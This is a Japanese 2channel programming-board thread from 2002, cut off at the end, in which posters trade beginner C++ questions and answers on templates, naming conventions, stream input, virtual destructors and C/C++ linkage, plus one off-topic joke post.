1 :
デフォルトの名無しさん :
02/05/19 14:43
2 :
デフォルトの名無しさん :02/05/19 14:44
(・∀・) オツカレ-
v(^・^)v
>>6 そこ、Forbiddenになっちゃうんだけど。俺だけ?
C++的にはクラスを名前空間代わりに利用するのってアリなんでしょうか? 自分の算術クラスを見てみたら、 class xMath { private: xMath(const xMath&); operator=(const xMath&); ~xMath(); private: inline static ~ inline static ~ }; こんな風になってたんだけど・・・ namespaceで書き直した方がいいですか?
11 :
デフォルトの名無しさん :02/05/20 04:49
age
VC++使ってます。 下のソース、メンバ関数Fの宣言と定義を同時にやらないと通らないのですが、 下に書いたように分離するのは仕様違反なのでしょうか? struct S { typedef char type; }; template<typename T> class C { public: typedef T type; static void F(type::type* p); }; template<typename T> void C<T>::F(type::type* p) { p; } S::type a; C<S>::F(&a);
クラス内はある種の名前空間で区切られているけど 普通の名前空間で済む話なら普通のでいんじゃない?
>>12 標準仕様では OK のはず。ただし、type::type の前に typename が
必要だと思うけど。VC++ は template 機能が貧弱だから。
15 :
デフォルトの名無しさん :02/05/20 10:08
typedef true T; typedef false F; とするとエラーになるんですが、だめなんでしょうか?
true/false は型じゃないぞよ
つか、true/false に別名をつけようとしてる時点で終わってるな…
そうか、C とかからの移植作業ならそれもアリだな… 一人相撲つかれた。逝ってくる
ん、ありなのか?
20 :
デフォルトの名無しさん :02/05/20 10:21
>>16 , サンクス~
型の時がtypedef で上の場合は#define使うのか。
typedef TRUE T;
が通ってたので勘違いしてました。
21 :
デフォルトの名無しさん :02/05/20 12:00
template<typename T> class CTest { friend bool operator ==(const Test<T>& t1,const Test<T>& t2); }; //CTestをcharに特殊化 template<> class CTest<char> { friend bool operator ==(const Test<char>& t1,const Test<char>& t2); }; 上の二つのクラスに、別々のoperator == をつけようと思い、 (1)か(2)の方法でクラス外で定義して、クラスにはfriendで実装 しようと思ったのですが、どちらもエラーになります。 これは不可能なことなのでしょうか? (1)クラス外の関数の特殊化を試みる > Error! template <typename T> bool operator ==(const Test<T>& t1,const Test<T>& t2) {return true;} template <> bool operator ==(const Test<char>& t1,const Test<char>& t2) {return true;} (2)別々に operator を作る。 > Error! (クラス外定義なのでオーバーロードできないみたい) bool operator ==(const Test<int>& t1,const Test<int>& t2) {return true;} bool operator ==(const Test<char>& t1,const Test<char>& t2) {return true;}
なんか勘違いしてました。 (2)はOKです。なんか違うエラーみたいでした。
23 :
デフォルトの名無しさん :02/05/20 12:29
======2==C==H====================================================== 2ちゃんねるのお勧めな話題と ネットでの面白い出来事を配送したいと思ってます。。。 ===============================読者数:105420人 発行日:2002/05/020 どもども、ちょっぴりワキガのひろゆきですー。 いやぁ、もうすぐですねー、谷澤動物病院の裁判の判決ですー。。。 おいらはいつものとおり、 「投稿者がわからないので勝手に削除は出来ない」 「勝手に削除したら投稿者に訴えられてしまうかも知れないから削除は出来ない」 との主張を繰り返してきたんですけど、裁判官てば実に冷ややかな目でおいらを見るんですよー。。。 その上、 「削除出来ないんじゃなくてするつもりがないんじゃないですか?」 「悪質な書き込みをむしろ売り物にしてるんじゃないですか?」 「発信者を特定出来るようにようにしてから能書きを語るったらどうですか?」 なんて嘲りの笑みを浮かべながら言うんですよー。。。 本当に憎らしい奴ですー、、うぅうぅ、、 ところで、谷澤動物病院てば、おいらのことを訴えてから客が2割も減ってしまったそうですー。。。 おいらのことを訴えると被害が余計に拡大するってことですね。。。えへへ。。。 んじゃ!
>>21 仮引数のTestって?
CTestじゃないの?
>>24 ミスって書き込んでました。どっちかに統一して見て。
>>25 VC.NET と VC6
でちょっと変えて実験してみたところ、VC.NETは下のはコンパイルできませんでした。
VC6の場合はコンパイルするのになんかコツがいるみたい。(^^;
(場所1から場所2)をコメントアウトして
一度ビルドして、コメントをはずして、改行を入れると、なぜかコンパイルできる。
やっぱり、operator == 系の特殊化は無理なのかな。
template<typename T> class Test :public T
{
friend bool operator ==(const Test<T>& t1,const Test<T>& t2);
};
template<> class Test<CString>
{
public:
friend bool operator ==(const Test<CString>& t1,const Test<CString>& t2);
};
template<> class Test<CWnd>
{
public:
friend bool operator ==(const Test<CWnd>& t1,const Test<CWnd>& t2);
};
template <typename T> bool operator ==(const Test<T>& t1,const Test<T>& t2)
{
return true;
}
//****場所1
bool operator ==(const Test<CString>& t1,const Test<CString>& t2)
{
return true;
}
bool operator ==(const Test<CWnd>& t1,const Test<CWnd>& t2)
{
return true;
}
//******場所2
// これならコンパイルできると思う
>>26 #include <iostream>
template<typename T> class Test;
template <typename T> bool operator ==(const Test<T>& t1,const Test<T>& t2);
template<> bool operator ==(const Test<int>& t1,const Test<int>& t2);
template<typename T> class Test
{
friend bool operator ==(const Test<T>& t1,const Test<T>& t2);
};
template<> class Test<int>
{
friend bool operator ==(const Test<int>& t1,const Test<int>& t2);
};
template <typename T> bool operator ==(const Test<T>& t1,const Test<T>& t2)
{
std::cout << "template" << std::endl;
return true;
}
template<> bool operator ==(const Test<int>& t1,const Test<int>& t2)
{
std::cout << "specialization for int" << std::endl;
return true;
}
int main()
{
Test<int>() == Test<int>();
return 0;
}
クラスのプリフィックスってどんなのつけてます? ちなみに メンバにはm_ 静的変数にはg_ intにはn charにはc shortにはs longにはl unsignedにはu とか付けてます。
>>28 メンバは m_
static は s_
global は g_
あとは普通は型に対応させたりはしない。名前からだいたい分かるようにしてる
(~Nameなら文字列(std::string)だろう、~Counterなら整数だろう、とか)
しかしメンバは m_ とかかったるいので
postfix で _ というのも少しすっきりして良さそうな気もしてきてる
あ、そうね プレフィックス付けた方が見やすいか・・・ 気をつけよう。 # サフィックスでもいいのかな?
ポインタにpはつけてるな。 m_はでかいクラスで、引数と名前の衝突が起こりそうなとき。 pXxx; m_pXxxx;
MFCとかだとクラスの名前の先頭にCがついてますよね。 あとBuilderやDelphiなんかはTだとか。 >30 サフィックスって後ろに付けるということですよね? それだと一目でわかりにくいような…。
>>32 メンバ変数にアンダーバーをつけるなら、プレフィクス(前につける)は
マズい。それはC++の禁じ手。アンダーバーで済ませるなら、必ず
ポストフィクス(後ろにつける)で。
俺は、テンプレートクラス名の先頭にはT、例外クラスの先頭にはE、
それ以外のクラス名の先頭にはC、ってやってるなー。
インターフェースクラスの先頭をIにするかどうかは、いつも脳内会議中。
あと、char,short,longで区別じゃなくて、1バイト、2バイト、4バイトで
区別する、int8,int16,int32(もしくはBYTE,WORD,DWORD)をやってる。
純粋な構造体としてのstructやenumには何かつける? structはS enumはEとかつけようと思っても、 なんか最後の方でみんな取っちゃったりして。
無修飾派。 MFC使ってるときは C とかVCL使ってるときは T とか付けたりするときもあるけど、基本は無修飾っす。鬱陶しいし。賛成の人?
俺の場合、普通のクラスにはC、インターフェースクラスにはIを先頭につけた大文字小文字混じり。 structやenumには特につけない。 で、メンバやグローバル変数は大文字小文字を使って、ローカル変数は小文字のみ。
>>34 構造体はSで始まるってイメージがないよなぁ。
size_t にしたがって、イメージがわきやすい「_t」を使ってる。
それにならって、enumは「_e」をつけてる。
>33 すんません。 プリフィックスにアンダーバーを付けるとマズい(あるいは禁じ手)なのはなぜなんでしょう? そういや、winだと標準で INT8 INT16 INT32 UINT8 UINT16 UINT32 って用意されてますね。
>>38 処理系(コンパイラベンダーなど)のために予約されている。
つまりはコンパイラのバージョンアップなどで _ で始まる新たな予約語などを
追加していいように、ユーザーはその名前を使わないようにとの決まり。
>39 ああ、そういうことですか。 それはそうですね。 知ってました。 要するに × _xXxxx ですよね? m_xXxxxがダメなのかと勘違いしてました。(w デファインはよくアンダーバーを2回並べますが…。
ついでにいえば、アンダースコアで始まる任意の名前 (つまり先頭にアンダー スコアがいくつ並んでもよい) は、実装用に予約されている
#define INC__HOGE_H とか途中にアンダースコア2つもアウトだっけ。
途中は問題ない
クラスにいちいちCを付けるのは、個人的にちとダサイ気がするなぁ…。 ほとんどがクラスな訳だし、VCだとインテリセンスに掛かりづらいし。 むしろc的な使い方と両方やっている人が、区別のためにしてるのかな。 あとGoF本だと、メンバ変数のプレフィックスに _ 付けまくってるね。 あれは、可読性を高めるためにあえてやっているだけなのか、 それとも普段のソースそのものなのか…。
以下のプログラムで、ストリームの状態のテスト をしたいのですが、アルファベットを入力して else節を実行しようとすると、無限ループになって しまいます。何故に、cin >> i のところで次の入力 待ちになってくれないのでしょうか? Borland C++ Compiler 5.5.1 と VC6.0 です。 OS はWin95 #include <iostream> #include <string> using namespace std; int main() { int i; cout << "整数を入力してください" << endl; while(1){ if(cin >> i){ cout << i << ":読み込みに成功しました" << endl; cout << "状態フラグ:" << cin.rdstate() << endl; if(i == 0) break; } else{ cout << "読み込みに失敗しました" << endl; cout << "状態フラグ:" << cin.rdstate() << endl; cin.clear(); } } }
ライブラリに入れちゃう一般化したクラスにはオリジナルの(漏れの場合はK)prefixつけてるな。 それ以外は、インターフェース(抽象クラス)にはIをつけるだけで、あとはつけない。
48 :
デフォルトの名無しさん :02/05/21 03:51
すいません、激しく初心者で申し訳ないんですが BorladC++のコンソールウィザードとやらで 簡単なプログラムを組んでみたんですけど、 自分のマシン以外だと「CC3250.DLL」が無いから動かないと言われます。 VCLを選んだら、VCL50が無いと言われました。 exeだけで、Win環境ならどこでも動くようにするのは どうしればいいのでしょうか?
49 :
デフォルトの名無しさん :02/05/21 04:11
>>48 プロジェクト→オプション→パッケージ→実行時パッケージを使って構築
プロジェクト→オプション→リンカ→共有RTLDLLを使う
この2つ共のチェックを外してコンパイル
スマソ。BCCね コンパイラオプションで上と同じように設定できると思われ
できましたー。ありがとうございます。 容量もそれらしく増えました。どーも8KBは変だと思ってました。
>>27 やはり無理でした。
VC++.NETのMSDNのDeepC++ やテンプレートをいろいろ調べたところ。
次のようにするとスマートに解決できました。
enum TypeM
{
type_default = 0,
type_cstring = 1,
type_cwnd = 2
};
template<typename T,enum TypeM type=type_default> class Test :public T
{
public:
friend bool operator ==(const Test<T,type>& t1,const Test<T,type>& t2);
};
template<> class Test<CString>
{
public:
//friendの特殊化は無理みたい。>コンパイルできるが呼べない。
};
template<> class Test<CWnd>
{
public:
//friendの特殊化は無理みたい。>コンパイルできるが呼べない。
};
template <typename T,enum TypeM type> bool operator ==(const Test<T,type>& t1,const Test<T,type>& t2)
{
//typeは定数なので最適化時にswitchステートメントからは1つの関数が得られる。
//これがtemplateの最も優れた性質なのです。(MSDN参照)
switch(type)
{
case(type_cstring):
AfxMessageBox("CString");
break;
case(type_cwnd):
AfxMessageBox("CWnd");
break;
default:
AfxMessageBox("Default");
break;
}
return true;
}
>>46 アルファベットは数字ではないので、int の i には読み込めないので、読み込まれずにいつまでも cin の中に残ってるから。
54 :
デフォルトの名無しさん :02/05/21 07:42
int i;を char c;にして if(i==1) を if(c == '1')にする。 キーボードの 1 は文字で認識しないとだめ。
>>53 >アルファベットは数字ではないので、
文字コードってご存じ?
>>46 cin.clear(); の後に cin.ignore(); を呼ぶ。
>>55 ?
>>52 それだと Test<CString> には friend 関数が宣言されていないことに
なっちゃうけど…
一画面に多くの行が収まり、全体の把握が楽なので、 今までこうコーディングしてました。 void func(){ //statement } しかし、ネット上で見かけるソースや、マイクロソフト関連の サンプルをみると、最近ほとんどがこうです。 void func() { //statement } やはり後者が主流なのでしょうか?会社に入った場合はどちらが役に 立ちますか?くだらない質問ですが真剣です。ご教授頂ければ幸いです。
>>58 クラス定義内のインライン関数なら前者の書き方でよいと思うが、
通常の関数定義は後者の方がよいと思う。
複雑な仮引数やtemplate文になると、頭だけで2行以上使うことも
あるぞ。
すごい、cin.ignore()で上手くいった。 でも、これは何ですか? cin.clear()でfailbitクリアするだけでは 駄目なんですか? でも、ありがとうございました。うれしいです。
テスト
>>60 いや・・・・i に入れられなかったアルファベットがストリームに残った
ままになって永久ループするからだろ。ignore()はストリームをクリア
してくれる。
>>62 ・・・とと。ignore()は一文字だけ読みとるので、複数文字をいれると、
その一文字ずつメッセージが出てくるはず。
>>59 レスありがとうございます。今までそういうのは
template<class T>
class<T>::func( int long_long_so_long_argment
int long_long_too_long_argment
char iikagennni_siro_argment ){
//statement
}
こんな感じにしてました。やはり就職すると、
最初の { の位置を書き直すよう、指導されたりするのでしょうか?
>>64 たかが{の位置くらいで悩むな
そんなことで文句を言う会社なんてクソだから就職するな
66 :
デフォルトの名無しさん :02/05/21 13:14
>>57 その通りみたいです。これでOKだと思う。
これでやっとoperator使える~YO~
/* 部分特殊化を使う operator== test*/
Test<CDialog,type_default> s1,s2;
s1.CmnTest();
if(s1 == s2){}
Test<CString,type_cstring> w1,w2;
w1.CmnTest();
if(w1 == w2){}
Test<CWnd,type_cwnd> o1,o2;
o1.CmnTest();
if(o1 == o2){}
/*この下はヘッダー*/
enum TypeM{
type_default,type_cstring,type_cwnd
};
template<typename T,TypeM type> class Test :public T
{
public:
friend bool operator ==(const Test<T,type>& t1,const Test<T,type>& t2);
void CmnTest() const
{AfxMessageBox("Default--CmnTest()");}
};
template<> class Test<CString,type_cstring> :public CString
{
public:
friend bool operator ==(const Test<T,type_cstring>& t1,const Test<T,type_cstring>& t2);
void CmnTest() const
{AfxMessageBox("CString--CmnTest()");}
};
template<> class Test<CWnd,type_cwnd> :public CWnd
{
public:
friend bool operator ==(const Test<T,type_cwnd>& t1,const Test<T,type_cwnd>& t2);
void CmnTest() const
{AfxMessageBox("CWnd--CmnTest()");}
};
template <typename T,TypeM type> bool operator ==(const Test<T,type>& t1,const Test<T,type>& t2)
{
//typeは定数なので最適化時にswitchステートメントからは1つの関数が得られる。
//これがtemplateの最も優れた性質なのです。(MSDN参照)
switch(type)
{
case(type_cstring):
AfxMessageBox("CString--operator==");
break;
case(type_cwnd):
AfxMessageBox("CWnd--operator==");
break;
default:
AfxMessageBox("Default--operator==");
break;
}
return true;
}
>>65 むはー、心強いお言葉!
いえ正直に言うと、できればコーディングスタイルは
変えたくないなぁ…といった所が本音でして…。
ただネット上で、あまりに前者型をみかけないので、ひょっとして全滅
しちゃったのかなと。また就職先がクソ会社かもしれないですしねぇ(´Д⊂
59+65さんのお言葉を胸に、少し模索しつつも当面この
スタイルでいこうと思います。レスありがとうございました。
>>53 ,56,62,63さん
理解できました。ありがとうございました。
cin >> iで読み込みに成功するとは、cinストリームからデータがiに移ってcinからは
取り除かれる。
cin >> iで読み込みに失敗するとは、cinからデータがiに移らずcinに残ったまま
になる。ということなんですね。読み込みの成功とか失敗の意味が分かってませんでした。
仮想関数って遅いって言われてるけど実際どうなんですか? 最近のハードウェアなら問題ないような気がするのですが・・・
>>69 仮想関数が遅いっていうなら、関数のポインタを通してのコールも
遅くなるよ。実際はCALL時のオーバーヘッドが元々大きいので、そんなに
変わらないと思われ。
>>70 そうですか。今作ってるソフト全部仮想関数にして実行してみたんですが全然変わらなかったので。。。
1ステップだ3ステップだと言ってる時代はもう終わったのかな。
メモリ参照の分だけペナルティがある。 極限まで最適化する際には足かせになる。 ただ、仮想関数でも呼び出すメソッドが自明な場合は メモリを介さずに直接callされる
>>71 そうですねえ。STLなんて使ってみたらわかるけど、糞みたいにステップ
数を消費しますよ。あまりステップ数にこだわならない方がいいかも・・・
デストラクタは一回も継承しなくても、仮想関数として定義することを勧めて
いる本もあるぐらいですからねえ。
>>72 なるほど、直接呼ばれてたのかも。。。テストプログラム作ってみます。thx
>>73 それでもSTL便利すぎですよね><
ちょっとwebで調べたところdynamic_cast仮想関数でも100万回実行して0.23秒?って・・・
コストに拘るスーパーハカー目指すの萎えます・・・
class A { bool b; void Func(); }; class B : public A { virtual void Func(); }; void A::Func() { b = false; } void B::Func() { b = true; } 10000*10000回実行したところvirtual使っても使わなくても両方7か8秒でした。 最近だとステップ数で考えるよりキャッシュにヒットしやすいように書いた方がいいのかな。
77 :
デフォルトの名無しさん :02/05/21 19:56
クラスの初期化リストで配列を初期化することは出来るのでしょうか? 教えてください。
79 :
デフォルトの名無しさん :02/05/21 20:12
わかりました。 それでは、クラスに定数の配列とかを置くことはできないのですか?
static constなら出来ないこともないけど
81 :
デフォルトの名無しさん :02/05/21 20:28
C++builder買おうとおもってるんですが、 ProfessionalとPersonalってそんなに違うんですか?
83 :
デフォルトの名無しさん :02/05/21 22:33
template< class T1, template<class>class CP1 >class RRR{}; このtemplateは何も意味しているんですか?VCしか使ったこと無いから わかんないよ。
>>83 RRR<int, vector> とかそんな風に書けたりする意味。
85 :
デフォルトの名無しさん :02/05/21 23:05
>>84 template<typename A,typename B>class AAA{};
と何が違うの??
>>85 マクロと同じ。
マクロ定義の中に先に定義されたマクロがあるだけ。
>>85 それだと AAA<int,vector> でなくて AAA<int, vector<int> > とかになる。
>>86 それはちと違う。その例でいうなら、先に定義したマクロを引数として
取ることができるマクロ、という言い方になる。
あるいは関数ポインタを引数にとる関数、というアナロジーのほうが
適切かと。
90 :
デフォルトの名無しさん :02/05/22 03:04
● C++とCの(自作)ライブラリを併用した時の質問です。 ==== sub.h ================================= void sub(const char *); ==== sub.c ================================= #include <stdio.h> #include "sub.h" void sub(const char *s) { printf("%s\n",s); } ==== main.cc =============================== #include "sub.h" int main(int argc, char *argv[]) { sub("itteyoshi"); } ==== compile ============================== g++ -Wall -g -c main.cc gcc -Wall -g -c sub.c g++ -Wall -g main.o sub.o -o main main.cc:4: undefined reference to `sub(char const *)' collect2: ld returned 1 exit status Cだったら問題なくリンクできるのに~? なぜ~? 名前空間の問題 だと思うんですけど・・・using namespace std;でもダメでした・・・
>>90 ねえ、標準ヘッダのひとつくらい覗いてどう書いてあるか見てみようよ。
>>91 即レスサンクスコ
……sub.hにexternがないとか??
・Cだとあってもなくてもコンパイル通る
・C++だとあってもなくてもコンパイル通る
んですが……。
もしかして凄く恥ずかしい間違いしているような気がしてきた……
でもわからん……
#ifdef __cplusplus__ extern "C" { #endif void sub(const char*); #ifdef __cplusplus__ } #endif たしか、こんな感じ
94 :
デフォルトの名無しさん :02/05/22 05:26
ワイルドカードのパターンマッチのソースが載っている場所又は 自分でつくれる方教えてください。 入力:パターン文字列(*abc*,?abcなど)、調べる文字列(ababcd) 出力:マッチしたかどうか 似たようなソースでも結構です。お願いします。
GNU RE
97 :
デフォルトの名無しさん :02/05/22 08:16
JavaScriptに値を渡すことってできますか?
C++ からブラウザの JavaScript へ? 無理。Java でも使え。
100 :
デフォルトの名無しさん :02/05/22 10:04
100
>>93 Thx。うまくいきました。
ちなみに__cplusplus__ではなく、__cplusplusでした
c_pointer = new char[1]; こんな風に、要素が一つでも delete[] c_pointer; にしなきゃだめですよね? delete c_pointer; じゃまずいっすよね?
dame
なんか質問が違った・・ こっちでおながいします c_pointer = new char[1]; こういう一つだけの確保でも delete[] c_pointer; しちゃってもOKですよね?
そうしなきゃだめ
はい、わかりました(^▽^)/ サンクス!
>>102 単一のnewと配列のnewでは、ヒープ領域に確保のされる方法が違うのよん。
配列のnewはオブジェクトの数も覚えているのよん。
なんで二種類もnewがあるかと言うとねん、少しでもメモリを節約するためなの
よん。
VC6,VC7では内部的に同じだったりするからまたややこしい
ややこしいって・・・ 内部的には同じでも、同じという保証があるワケじゃないから絶対にやっちゃダメ
もちろんやんないけど デバッガ等で追ってもエラーになんないんだな 他のコンパイラ(g++とか)とソース共有してると死ねる つか死んだ
やらないんじゃ何で死ぬんだよ
デストラクタの呼ばれ方に明確に差があると思うが。 メモリ領域の開放自体はまぁ問題ないにせよ。
113 :
デフォルトの名無しさん :02/05/23 14:14
文字列を好きな位置に挿入できる可変長な文字列クラスってもうどっかにありますか?
114 :
デフォルトの名無しさん :02/05/23 14:15
>>113 それくらい自分でつくれよ。
挿入したい文字列の長さ分、挿入位置より後の文字列をmemmoveすればいいだけだろ。
ん?自分でつくって公開したいってことか?
ガ━(TДT)━ン! もうあるのか・・・ 作っても意味なかった
可変長文字列クラスなんてダレでもよく使うくらすじゃん 無い方がどうかしてる
119 :
デフォルトの名無しさん :02/05/23 14:42
でも、標準のstringっていまいちだよね。 Perl感覚で扱えるよう、自分でsplitや部分文字列の一括変換機能 も使える文字列クラス作ったよ。あ、でもinsertは入れ忘れてたな。 今度入れておこう。
再発名君登場。boost使えばいいやん。 文字列は文字列、勝手に分裂したりすると言うオブジェクトのとらえ方は可笑しい
>>120 splitは分裂というより、文字列配列の生成だな。
処理を行う文字列自体は、Perl同様に当然不変。
str.split("abc");
とやると"abc"をキーに文字列を分割し、分割した文字列の配列を
新たに生成して返す感じ。
あと、再発明もなかなか楽しいものだよ。
特に文字列処理は、アルゴリズムの習得や実験にも最適だからね。
そんな超基礎的な再発名をしても楽しくない罠
うーん。単独ではコンパイルできないのか。
練習するのもいいが、文字列のコピー延々と作られてもなあ。 概念的にはそれでもいいけど、内部には元文字列と、 ポインタかインデックスと長さの配列だけ持ってりゃ いいんでない?
127 :
デフォルトの名無しさん :02/05/23 23:33
以下のようなテストをしていて疑問に思ったのですが、 デストラクタにvirtualをつけると関数が失敗するみたいのですが、 なぜなのか理由が分かりません。 何か理由があるのでしょうか? /*Test*/ CTest tt; static_cast<CString&>(tt) = _T("testdesu"); tt.Format2(_T("%sです"),(tt)); AfxMessageBox(tt); /*class*/ class CTest :public CString { public: inline void Format2(const TCHAR* lpszFormat, ...) { va_list argList; va_start(argList, lpszFormat); CmnFormatV(lpszFormat, argList);//call CmnFormatV va_end(argList); } inline void CmnFormat2( const TCHAR* lpszFormat, va_list args ) {this->FormatV(lpszFormat,args);} CTest() {}; //デストラクタ //virtual ~CTest() ~CTest() {}; };
128 :
デフォルトの名無しさん :02/05/23 23:36
×inline void CmnFormat2( const TCHAR* lpszFormat, va_list args ) inline void CmnFormatV( const TCHAR* lpszFormat, va_list args )
もともとのCStringのデストラクタがvirtualでないからでわ?
>>130 それに一票。だいたいpublic派生したら、virtualキーワードはつける必要ないよ。
親のを継承する。
>>129 CStringの派生クラスにCString::Formatの関数と同じものを
を書いてそれを呼んでるのですが、
デストラクタを virtual宣言すると、失敗してるみたいなんです。
デバックしても手がかりがつかめないので聞いてみようと思いました。
どういうときにvirtual宣言をしてはいけないのでしょうか?
>>132 親のCStringクラスのデストラクタがvirtual宣言されてないと、継承先のクラス
でもvirtual宣言してはいけない。
あの、ちょっと質問があるんですがド忘れしてしまったので 思い出したら書きますんでよろしくお願いしますm(..)m
m( 。 。)m ぃ ゃ
ゃ-ょ
>>132 というか、継承したのなら、virtual宣言をつけたらいいかどうか悩む必要は
ないです。書かなければいい。親と同じになるから。
もし必ずvirtualを書かなければいけないとしたら、いちいち親のヘッダー
ファイルを開いて読まなければならないことになるよ。
ぃゃょぃゃょ モ スキノウチ
(._.;) そんなこと言わないでくださいよ・・
デストラクタをvirtualにするということは 親と子のデストラクタ名が違うけど デストラクタはオバーライドされてしまうということなのでしょうか?
>>140 デストラクタはクラス名と同じだから、厳密にはオーバーライドではありません。
仮想関数として宣言されていれば、自分を呼び出してから親のデストラクタも
呼び出しに行きます。仮想関数でなければ、自分しか呼び出しません。
>>140 「仮想デストラクタ」で調べておくといいかも
>>141 そりゃ違う。仮想関数のデストラクタでも、そうでなくても、
親は呼びにいくぞ。
仮想関数として宣言されているメリットは、基底ポインタが
派生クラスを指していても、正しいデストラクタが呼ばれるよ
うにするため。
>>141 「厳密には」って・・・、大雑把にゆってもオーバーロードじゃぁないでしょ。
しかも理由が「デストラクタはクラス名と同じだから」って・・・・、意味わからん。
結論。 ・仮想デストラクタは
2人とも仮想デストラクタを調べなはれ
下のプログラムで、~A()のvirtualを取ったものと出力結果をよく比べて みれば仮想デストラクタの存在理由が理解できます。 #include <iostream> using namespace std; class A { public: virtual ~A() { cout << "~A()" << endl; } }; class B : public A { public: ~B() { cout << "~B()" << endl; } }; int main() { A* a = new B; delete a; }
かぶるけど一応全通り試してみた。 結論としては デストラクタがvirtual宣言されていない現在のクラスでは newで作成したオブジェクトのデストラクタが呼ばれない。 //CT<CBase> n_n;//2 //CT<CBaseV> n_v;//2 //CTV<CBase> v_n;//2 //CTV<CBaseV> v_v;//2 //CBase *pn_n = new CT<CBase>;//~CBase Only //delete pn_n; //CBaseV *pn_v = new CT<CBaseV>;//2 //delete pn_v; //CBase *pv_n = new CTV<CBase>;//~CBase Only //delete pv_n; //CBaseV *pv_v = new CTV<CBaseV>;//2 //delete pv_v; struct CBase { CBase(){} ~CBase() { AfxMessageBox(_T("~CBase()")); } }; struct CBaseV { CBaseV(){} virtual ~CBaseV() { AfxMessageBox(_T("~CBaseV()")); } }; template<typename T> struct CT :public T { CT() {} ~CT() { AfxMessageBox(_T("~CT()")); } }; template<typename T> struct CTV :public T { CTV() {} virtual ~CTV() { AfxMessageBox(_T("~CTV()")); } };
見間違えてました。 ×デストラクタがvirtual宣言されていない現在のクラスでは newで作成したオブジェクトのデストラクタが呼ばれない。 ○継承元のデストラクタがvirtual宣言されていないと 継承先のオブジェクトをnewで作成したときに 継承先のデストラクタが呼べない。
>>148 結論は、CStringを継承する時は、デストラクタにvirtualを付けてはいけない
という事と、new/deleteせずに静的にオブジェクトを扱うように注意しなけれ
ばならないという事になりそうですね。
151 :
デフォルトの名無しさん :02/05/24 01:08
>>150 148のケースのデストラクタが呼べてないということは
C++の言語仕様上では
メモリ上にオブジェクトの一部が残るのでしょうか?
それともただデストラクタの処理ができないのでしょうか?
それとも未定義?
とりあえず問題点と解決策が150で明確になったので、 そのスタイルでいこうと思います。 ありがとうございました。>ALL
153 :
デフォルトの名無しさん :02/05/24 01:19
PCの時間テスト
>>151 デストラクタとdeleteの本体は全く別物ですから、deleteは正しく行われます。
しかし、オブジェクトの中で新たに領域を動的に確保していた場合などは、
その領域は残ってしまいます。
例えば下の例ですと、int* pの指す領域が開放されずに残ります。
class A {
int a;
};
class B : public A {
int* p;
public:
B() { p = new int; }
~B { delete p; }
}
int main()
{
A* a = new B;
delete a;
}
>>154 なるほど、ということは動的オブジェクトさえ使わなければ
安全であるということですね。
これで安心して寝られます。ありがとうございました。
157 :
デフォルトの名無しさん :02/05/24 01:48
dynamic depend
>>127 > tt.Format2(_T("%sです"),(tt));
可変長引数だからoperator LPCTSTR()が呼ばれてない罠。
確か仮想関数が1つもないとそれでも動いたはず。
あるクラスのサブクラスがデストラクタをvirtualにする意味はある。 たとえば、デストラクタがvirtualでないstd::basic_string<>を継承したクラス template<T> class specialized_string : public std::basic_string<T, original_traits<T>, allocator<T> > { public: virtual specialized_stirng() { } }; コイツを絶対にこれより上(basic_string)にキャストせず、 specialized_stringまでしかキャストしないなら、 このクラスのサブクラスのすべてのデストラクタが呼ばれる事が保証される。 この場合、コンポジションを使った方が適切ではあるけど。 boostのnoncopyableを見るまでダメだと信じていた
160 :
デフォルトの名無しさん :02/05/24 11:43
>>158 明示的なキャストしている場合はちゃんと動くんですよね。
<stdarg.h>の _ADDRESSOF(v)の値が
仮想関数を含んでいるときに違う値を指してるみたい。
可変数引数マクロと仮想関数の相性が悪いのか...。
>>160 #include <stdio.h>
class A {
public:
A(const char *a) : buf(a) { }
~A() {}
const char *buf;
};
class B {
public:
B(const char *a) : buf(a) { }
virtual ~B() {}
const char *buf;
};
int main() {
A a("test"); B b("test");
printf("offsetof(A::buf) == %08X\noffsetof(B::buf) == %08X\n", (char *)&a.buf-(char *)&a, (char *)&b.buf-(char *)&b);
return 0;
}
これでわかるかもしれづ。
ヒントはvtable。
書き忘れ。
>>160 > 可変数引数マクロと仮想関数の相性が悪いのか...。
仮想関数がない場合は、「たまたま」動いてただけ。
CStringの場合は、それを期待して実装された可能性が高いが。
>>162 ということは、CString の先頭のメンバが _T buf[] になってるってこと?
ちょっとイヤな実装だな。
>>162 いや、CStringのメンバ変数は格納してる文字列へのポインタだけ。
sizeof(CString) == 4。
で、CStringを値渡しすると文字列へのポインタがスタックに積まれることになる。
# うーん、うまく説明できないな…。
>>164 あ、了解。値渡しになるわけか。参照渡しと勘違いしてたよ。
166 :
デフォルトの名無しさん :02/05/24 13:45
fstreamのget関数って一バイトしか読まないですよね? そうじゃなくて、日本語の一文字を読めるようにしたんですが、 どうしたらいいですか?
間違えました。 ×したんですが ○したいのですが
自力でがんばれ
>>168 自力というのは、文字コードを調べて判定するってことですか?
>>169 その通り。AdapterPatternあたりで実装するのも悪くないだろう
wfstream使え。
高々
>>166 程度のためにwide対応まですることはないだろ
>>170 ふーむ。そうですか。Adapterはちょっと忘れてるのでデザパタ
本でも見て検討してみます。
>>171 wcharだと普通コードはUnicodeになりますよね?
UNIXなので、EUCとかでやりたいんですが。
wfstreamでこのEUCは扱えますか?
char_traitsとか使うんですかね?
どうやらgoogleで調べたらlocaleをセットするらしい ですね。 だいたいわかってきました。どうもありがとうございました。
1.単語入力 2.文章入力 3.2の文章に1の単語がいくつはいってるか報告 どなたかこのプロフラミングしてください!ほんとお願いします。 C++
>>176 >プロフラミングしてください!
ここにそれを行える技術者は一人もいないと思われ。
>>176 文字列の入力方法は知っているか?
入力される単語は1つか、複数か?
入力される文章は1つか、複数か?
どうせ宿題の期限が近づいたんだと思うが。
>>178 そうなんです!課題提出しなきゃいけないんです!
>入力される単語は1つか、複数か?
単語はひとつです!
>入力される文章は1つか、複数か?
これもひとつです!
どうかお願いします!
string str, sentence; cin >> str; cin >> sentence; string::size_type n = 0, i = 0; while((i = sentence.find(str, i + 1)) != string::npos) n++;
>>180 やっぱり俺はC++が生理的に受け付けない。
う~む。
cin>>str じゃ余計なところで区切られるか。 getline(cin, str); getline(cin, sentence); で。
まじ感謝!ほんとありがとうございます!ではのちほど。
>>184 終わってからレスするな
余計なレスが一つ増える
187 :
デフォルトの名無しさん :02/05/24 16:31
>>158 追加の試験もしてみました。162,163の言われている通りの気がしてきました。
自クラスをバッファの型にキャストしないでも可変数引数が動くようにしてる。
ただその代償に仮想関数が使えなくなってるのか。
可変数引数マクロは型が固定でないので
(キャスト演算子を定義しても)型の整合性による暗黙の型変換が起こらない。
==127が動かなかった
#include <stdio.h>
#include <stdarg.h>
